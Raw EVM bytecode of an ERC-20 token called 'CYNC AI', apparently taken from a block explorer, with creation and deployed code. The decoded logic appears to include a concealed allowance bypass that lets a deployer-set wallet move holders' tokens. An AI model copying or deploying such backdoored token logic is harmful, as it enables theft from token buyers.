5b6114f981611aae565b505b5f4790505f811061156c5760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561156a573d5f803e3d5ffd5b505b505b505b5f81111561166f576115c88160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1990919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116669190611fc1565b60405180910390a35b6116bf8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117626117168284611d7690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461186f578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118598486611d7690919063ffffffff16565b6040516118669190611fc1565b60405180910390a35b50505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611977575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611976575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b611981575f611983565b815b90509392505050565b5f8383111582906119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca9190611e90565b60405180910390fd5b505f83856119e19190612902565b9050809150509392505050565b5f8083036119fe575f9050611a5f565b5f8284611a0b9190612295565b9050828482611a1a9190612962565b14611a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5190612a02565b60405180910390fd5b809150505b92915050565b5f611aa683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dbf565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ae557611ae4612a20565b5b604051908082528060200260200182016040528015611b135781602001602082028036833780820191505090505b50905030815f81518110611b2a57611b29612a4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bf29190612422565b81600181518110611c0657611c05612a4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c6c3060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e70565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cce959493929190612b31565b5f604051808303815f87803b158015611ce5575f80fd5b505af1158015611cf7573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b5f808284611d279190612b89565b905083811015611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612c06565b60405180910390fd5b8091505092915050565b5f611db783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061198c565b905092915050565b5f8083118290611e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfc9190611e90565b60405180910390fd5b505f8385611e139190612962565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e6282611e20565b611e6c8185611e2a565b9350611e7c818560208601611e3a565b611e8581611e48565b840191505092915050565b5f6020820190508181035f830152611ea88184611e58565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611edd82611eb4565b9050919050565b611eed81611ed3565b8114611ef7575f80fd5b50565b5f81359050611f0881611ee4565b92915050565b5f819050919050565b611f2081611f0e565b8114611f2a575f80fd5b50565b5f81359050611f3b81611f17565b92915050565b5f8060408385031215611f5757611f56611eb0565b5b5f611f6485828601611efa565b9250506020611f7585828601611f2d565b9150509250929050565b5f8115159050919050565b611f9381611f7f565b82525050565b5f602082019050611fac5f830184611f8a565b92915050565b611fbb81611f0e565b82525050565b5f602082019050611fd45f830184611fb2565b92915050565b5f805f60608486031215611ff157611ff0611eb0565b5b5f611ffe86828701611efa565b935050602061200f86828701611efa565b925050604061202086828701611f2d565b9150509250925092565b5f6020828403121561203f5761203e611eb0565b5b5f61204c84828501611efa565b91505092915050565b5f60ff82169050919050565b61206a81612055565b82525050565b5f6020820190506120835f830184612061565b92915050565b61209281611ed3565b82525050565b5f6020820190506120ab5f830184612089565b92915050565b5f80604083850312156120c7576120c6611eb0565b5b5f6120d485828601611efa565b92505060206120e585828601611efa565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156121715780860481111561214d5761214c6120ef565b5b600185161561215c5780820291505b808102905061216a8561211c565b9450612131565b94509492505050565b5f826121895760019050612244565b81612196575f9050612244565b81600181146121ac57600281146121b6576121e5565b6001915050612244565b60ff8411156121c8576121c76120ef565b5b8360020a9150848211156121df576121de6120ef565b5b50612244565b5060208310610133831016604e8410600b841016171561221a5782820a905083811115612215576122146120ef565b5b612244565b6122278484846001612128565b9250905081840481111561223e5761223d6120ef565b5b81810290505b9392505050565b5f61225582611f0e565b915061226083612055565b925061228d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461217a565b905092915050565b5f61229f82611f0e565b91506122aa83611f0e565b92508282026122b881611f0e565b915082820484148315176122cf576122ce6120ef565b5b5092915050565b7f6e6f742061206465706c6f7965720000000000000000000000000000000000005f82015250565b5f61230a600e83611e2a565b9150612315826122d6565b602082019050919050565b5f6020820190508181035f830152612337816122fe565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612372602083611e2a565b915061237d8261233e565b602082019050919050565b5f6020820190508181035f83015261239f81612366565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6123da601783611e2a565b91506123e5826123a6565b602082019050919050565b5f6020820190508181035f830152612407816123ce565b9050919050565b5f8151905061241c81611ee4565b92915050565b5f6020828403121561243757612436611eb0565b5b5f6124448482850161240e565b91505092915050565b5f6040820190506124605f830185612089565b61246d6020830184612089565b9392505050565b5f819050919050565b5f819050919050565b5f6124a061249b61249684612474565b61247d565b611f0e565b9050919050565b6124b081612486565b82525050565b5f60c0820190506124c95f830189612089565b6124d66020830188611fb2565b6124e360408301876124a7565b6124f060608301866124a7565b6124fd6080830185612089565b61250a60a0830184611fb2565b979650505050505050565b5f8151905061252381611f17565b92915050565b5f805f606084860312156125405761253f611eb0565b5b5f61254d86828701612515565b935050602061255e86828701612515565b925050604061256f86828701612515565b9150509250925092565b5f60408201905061258c5f830185612089565b6125996020830184611fb2565b9392505050565b6125a981611f7f565b81146125b3575f80fd5b50565b5f815190506125c4816125a0565b92915050565b5f602082840312156125df576125de611eb0565b5b5f6125ec848285016125b6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61264f602483611e2a565b915061265a826125f5565b604082019050919050565b5f6020820190508181035f83015261267c81612643565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6126dd602283611e2a565b91506126e882612683565b604082019050919050565b5f6020820190508181035f83015261270a816126d1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61276b602583611e2a565b915061277682612711565b604082019050919050565b5f6020820190508181035f8301526127988161275f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6127f9602383611e2a565b91506128048261279f565b604082019050919050565b5f6020820190508181035f830152612826816127ed565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612887602983611e2a565b91506128928261282d565b604082019050919050565b5f6020820190508181035f8301526128b48161287b565b9050919050565b5f6128c582611f0e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036128f7576128f66120ef565b5b600182019050919050565b5f61290c82611f0e565b915061291783611f0e565b925082820390508181111561292f5761292e6120ef565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61296c82611f0e565b915061297783611f0e565b92508261298757612986612935565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129ec602183611e2a565b91506129f782612992565b604082019050919050565b5f6020820190508181035f830152612a19816129e0565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612aac81611ed3565b82525050565b5f612abd8383612aa3565b60208301905092915050565b5f602082019050919050565b5f612adf82612a7a565b612ae98185612a84565b9350612af483612a94565b805f5b83811015612b24578151612b0b8882612ab2565b9750612b1683612ac9565b925050600181019050612af7565b5085935050505092915050565b5f60a082019050612b445f830188611fb2565b612b5160208301876124a7565b8181036040830152612b638186612ad5565b9050612b726060830185612089565b612b7f6080830184611fb2565b9695505050505050565b5f612b9382611f0e565b9150612b9e83611f0e565b9250828201905080821115612bb657612bb56120ef565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612bf0601b83611e2a565b9150612bfb82612bbc565b602082019050919050565b5f6020820190508181035f830152612c1d81612be4565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220acf2c5a951bd250893c070c23774b4bee093bde320ee5290a844fd2315b1313164736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100eb575f3560e01c806370a082311161008957806395d89b411161005857806395d89b41146102bc578063a9059cbb146102e6578063bf474bed14610322578063dd62ed3e1461034c576100f2565b806370a082311461022a578063715018a6146102665780638da5cb5b1461027c5780639557c4dd146102a6576100f2565b806323b872dd116100c557806323b872dd1461018657806329e1b9ba146101c2578063313ce567146101ea578063551a39ce14610214576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f80fd5b348015610101575f80fd5b5061010a610388565b6040516101179190611e90565b60405180910390f35b34801561012b575f80fd5b5061014660048036038101906101419190611f41565b6103c5565b6040516101539190611f99565b60405180910390f35b348015610167575f80fd5b506101706103e2565b60405161017d9190611fc1565b60405180910390f35b348015610191575f80fd5b506101ac60048036038101906101a79190611fda565b610405565b6040516101b99190611f99565b60405180910390f35b3480156101cd575f80fd5b506101e860048036038101906101e3919061202a565b6104e8565b005b3480156101f5575f80fd5b506101fe6105c1565b60405161020b9190612070565b60405180910390f35b34801561021f575f80fd5b506102286105c9565b005b348015610235575f80fd5b50610250600480360381019061024b919061202a565b610aeb565b60405161025d9190611fc1565b60405180910390f35b348015610271575f80fd5b5061027a610b31565b005b348015610287575f80fd5b50610290610c7f565b60405161029d9190612098565b60405180910390f35b3480156102b1575f80fd5b506102ba610ca6565b005b3480156102c7575f80fd5b506102d0610d87565b6040516102dd9190611e90565b60405180910390f35b3480156102f1575f80fd5b5061030c60048036038101906103079190611f41565b610dc4565b6040516103199190611f99565b60405180910390f35b34801561032d575f80fd5b50610336610de1565b6040516103439190611fc1565b60405180910390f35b348015610357575f80fd5b50610372600480360381019061036d91906120b1565b610de7565b60405161037f9190611fc1565b60405180910390f35b60606040518060400160405280600781526020017f43594e4320414900000000000000000000000000000000000000000000000000815250905090565b5f6103d86103d1610e69565b8484610e70565b6001905092915050565b5f6009600a6103f1919061224b565b633b9aca006104009190612295565b905090565b5f610411848484611033565b5f61041d858585611875565b90506104dc8561042b610e69565b6104d784604051806060016040528060288152602001612c256028913960025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61048e610e69565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461198c9092919063ffffffff16565b610e70565b60019150509392505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610528610e69565b73ffffffffffffffffffffffffffffffffffffffff161461057e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057590612320565b60405180910390fd5b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f6009905090565b6105d1610e69565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065490612388565b60405180910390fd5b601260149054906101000a900460ff16156106ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a4906123f0565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60115f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107493060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610735919061224b565b633b9aca006107449190612295565b610e70565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d79190612422565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108819190612422565b6040518363ffffffff1660e01b815260040161089e92919061244d565b6020604051808303815f875af11580156108ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108de9190612422565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061096530610aeb565b5f8061096f610c7f565b426040518863ffffffff1660e01b8152600401610991969594939291906124b6565b60606040518083038185885af11580156109ad573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109d29190612529565b50505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a72929190612579565b6020604051808303815f875af1158015610a8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab291906125ca565b506001601260166101000a81548160ff0219169083151502179055506001601260146101000a81548160ff021916908315150217905550565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610b39610e69565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90612388565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610cae610e69565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3190612388565b60405180910390fd5b610d42610e69565b73ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610d84573d5f803e3d5ffd5b50565b60606040518060400160405280600381526020017f4341490000000000000000000000000000000000000000000000000000000000815250905090565b5f610dd7610dd0610e69565b8484611033565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed590612665565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f43906126f3565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110269190611fc1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109890612781565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361110f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111069061280f565b60405180910390fd5b5f8111611151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111489061289d565b60405180910390fd5b5f61115a610c7f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111c85750611198610c7f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561120057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561123857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156115705760125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112e6575060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611339575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156113945761137a606461136c600c54600e54116113595760075461135d565b6009545b856119ee90919063ffffffff16565b611a6590919063ffffffff16565b9050600e5f81548092919061138e906128bb565b91905055505b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611427576114246064611416600d54600e541161140357600854611407565b600a545b856119ee90919063ffffffff16565b611a6590919063ffffffff16565b90505b5f61143130610aeb565b9050601260159054906101000a900460ff1615801561149c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114b45750601260169054906101000a900460ff165b80156114c35750600b54600e54115b1561156e57600f548111156114fb575f6010549050808210156114e4578190505b808410156114f0578390505b6114f981611aae565b505b5f4790505f811061156c5760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f1935050505015801561156a573d5f803e3d5ffd5b505b505b505b5f81111561166f576115c88160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1990919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116669190611fc1565b60405180910390a35b6116bf8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d7690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506117626117168284611d7690919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d1990919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461186f578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6118598486611d7690919063ffffffff16565b6040516118669190611fc1565b60405180910390a35b50505050565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611977575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611976575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b611981575f611983565b815b90509392505050565b5f8383111582906119d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ca9190611e90565b60405180910390fd5b505f83856119e19190612902565b9050809150509392505050565b5f8083036119fe575f9050611a5f565b5f8284611a0b9190612295565b9050828482611a1a9190612962565b14611a5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5190612a02565b60405180910390fd5b809150505b92915050565b5f611aa683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dbf565b905092915050565b6001601260156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611ae557611ae4612a20565b5b604051908082528060200260200182016040528015611b135781602001602082028036833780820191505090505b50905030815f81518110611b2a57611b29612a4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611bce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bf29190612422565b81600181518110611c0657611c05612a4d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c6c3060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e70565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611cce959493929190612b31565b5f604051808303815f87803b158015611ce5575f80fd5b505af1158015611cf7573d5f803e3d5ffd5b50505050505f601260156101000a81548160ff02191690831515021790555050565b5f808284611d279190612b89565b905083811015611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612c06565b60405180910390fd5b8091505092915050565b5f611db783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061198c565b905092915050565b5f8083118290611e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dfc9190611e90565b60405180910390fd5b505f8385611e139190612962565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611e6282611e20565b611e6c8185611e2a565b9350611e7c818560208601611e3a565b611e8581611e48565b840191505092915050565b5f6020820190508181035f830152611ea88184611e58565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611edd82611eb4565b9050919050565b611eed81611ed3565b8114611ef7575f80fd5b50565b5f81359050611f0881611ee4565b92915050565b5f819050919050565b611f2081611f0e565b8114611f2a575f80fd5b50565b5f81359050611f3b81611f17565b92915050565b5f8060408385031215611f5757611f56611eb0565b5b5f611f6485828601611efa565b9250506020611f7585828601611f2d565b9150509250929050565b5f8115159050919050565b611f9381611f7f565b82525050565b5f602082019050611fac5f830184611f8a565b92915050565b611fbb81611f0e565b82525050565b5f602082019050611fd45f830184611fb2565b92915050565b5f805f60608486031215611ff157611ff0611eb0565b5b5f611ffe86828701611efa565b935050602061200f86828701611efa565b925050604061202086828701611f2d565b9150509250925092565b5f6020828403121561203f5761203e611eb0565b5b5f61204c84828501611efa565b91505092915050565b5f60ff82169050919050565b61206a81612055565b82525050565b5f6020820190506120835f830184612061565b92915050565b61209281611ed3565b82525050565b5f6020820190506120ab5f830184612089565b92915050565b5f80604083850312156120c7576120c6611eb0565b5b5f6120d485828601611efa565b92505060206120e585828601611efa565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156121715780860481111561214d5761214c6120ef565b5b600185161561215c5780820291505b808102905061216a8561211c565b9450612131565b94509492505050565b5f826121895760019050612244565b81612196575f9050612244565b81600181146121ac57600281146121b6576121e5565b6001915050612244565b60ff8411156121c8576121c76120ef565b5b8360020a9150848211156121df576121de6120ef565b5b50612244565b5060208310610133831016604e8410600b841016171561221a5782820a905083811115612215576122146120ef565b5b612244565b6122278484846001612128565b9250905081840481111561223e5761223d6120ef565b5b81810290505b9392505050565b5f61225582611f0e565b915061226083612055565b925061228d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461217a565b905092915050565b5f61229f82611f0e565b91506122aa83611f0e565b92508282026122b881611f0e565b915082820484148315176122cf576122ce6120ef565b5b5092915050565b7f6e6f742061206465706c6f7965720000000000000000000000000000000000005f82015250565b5f61230a600e83611e2a565b9150612315826122d6565b602082019050919050565b5f6020820190508181035f830152612337816122fe565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612372602083611e2a565b915061237d8261233e565b602082019050919050565b5f6020820190508181035f83015261239f81612366565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6123da601783611e2a565b91506123e5826123a6565b602082019050919050565b5f6020820190508181035f830152612407816123ce565b9050919050565b5f8151905061241c81611ee4565b92915050565b5f6020828403121561243757612436611eb0565b5b5f6124448482850161240e565b91505092915050565b5f6040820190506124605f830185612089565b61246d6020830184612089565b9392505050565b5f819050919050565b5f819050919050565b5f6124a061249b61249684612474565b61247d565b611f0e565b9050919050565b6124b081612486565b82525050565b5f60c0820190506124c95f830189612089565b6124d66020830188611fb2565b6124e360408301876124a7565b6124f060608301866124a7565b6124fd6080830185612089565b61250a60a0830184611fb2565b979650505050505050565b5f8151905061252381611f17565b92915050565b5f805f606084860312156125405761253f611eb0565b5b5f61254d86828701612515565b935050602061255e86828701612515565b925050604061256f86828701612515565b9150509250925092565b5f60408201905061258c5f830185612089565b6125996020830184611fb2565b9392505050565b6125a981611f7f565b81146125b3575f80fd5b50565b5f815190506125c4816125a0565b92915050565b5f602082840312156125df576125de611eb0565b5b5f6125ec848285016125b6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61264f602483611e2a565b915061265a826125f5565b604082019050919050565b5f6020820190508181035f83015261267c81612643565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6126dd602283611e2a565b91506126e882612683565b604082019050919050565b5f6020820190508181035f83015261270a816126d1565b905091905